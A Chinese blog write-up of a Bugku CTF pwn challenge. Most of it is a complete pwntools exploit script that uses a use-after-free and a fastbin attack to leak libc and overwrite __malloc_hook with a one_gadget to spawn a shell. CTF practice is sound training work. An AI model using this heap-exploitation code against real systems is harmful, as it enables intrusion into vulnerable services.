记一次bugku pwn题解4月27日

记一次bugku pwn题解4月27日

emmmm,远程环境很垃圾(2.19-0ubuntu6.15),笔者patchelf的时候才想起来没有2.19,所以直接用2.23。利用realloc调整了好多次都打不通。。。。。换了四次gadget从0一直测试到realloc+0x30。。。。(没意思,其实可以利用其他方式,比如fsop,当时想着可能马上就可以通了就没有再高兴换了。。
在这里插入图片描述
uaf漏洞一枚,还可以edit,直接fastbin attack乱杀。快速写完初始exp发现了一个很ganga的事情,打不通本地和远程,那就利用realloc来调整一下呗。realloc + 0本地直接成功,远程就是打不通。。。。。
一开始保护也没看,可以直接改got表。。。总结来说就是太飘了。。。。
题目链接:z1r0’s github
这里给出本地的exp

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './z1r0'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

debug = 0
if debug:
    r = remote('192-168-1-192.pvp1029.bugku.cn', 9999)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

menu = 'Command:'

def add(size):
    r.sendlineafter(menu, '1')
    r.sendlineafter('size:', str(size))

def edit(index, content):
    r.sendlineafter(menu, '2')
    r.sendlineafter('Index:', str(index))
    r.sendafter('Content:', content)

def show(index):
    r.sendlineafter(menu, '3')
    r.sendlineafter('Index:', str(index))

def delete(index):
    r.sendlineafter(menu, '4')
    r.sendlineafter('Index:', str(index))

add(0x80)   #0
add(0x60)   #1
add(0x60)   #1
add(0x60)   #3
add(0x10)   #4
delete(4)
edit(4, '/bin/sh')


delete(0)
show(0)

malloc_hook = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 88 - 0x10
success('malloc_hook = ' + hex(malloc_hook))

#libc = ELF('./libc.so.6')
libc = ELF('./2.23/libc.so.6')
libc_base = malloc_hook - libc.sym['__malloc_hook']
#one = [0x46428, 0x4647c, 0xe9415, 0xea36d]
one = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
one_gadget = one[0] + libc_base
realloc_hook = libc_base + libc.sym['realloc']
system_addr = libc_base + libc.sym['system']

add(0x80) #5
delete(1)
p1 = p64(malloc_hook - 0x23)
edit(1, p1)

add(0x60)   #6
add(0x60)   #7
p2 = b'a' * 0xb + p64(one_gadget) + p64(realloc_hook)
edit(7, p2)

add(0x30)

r.interactive()

这里笔者差忘记一个点,ida反汇编的时候switch这里会失败,看汇编的时候有一个垃圾数据nop掉就行。
在这里插入图片描述
在这里插入图片描述
再接再厉吧仔细点仔细点。。。

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

z1r0.

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值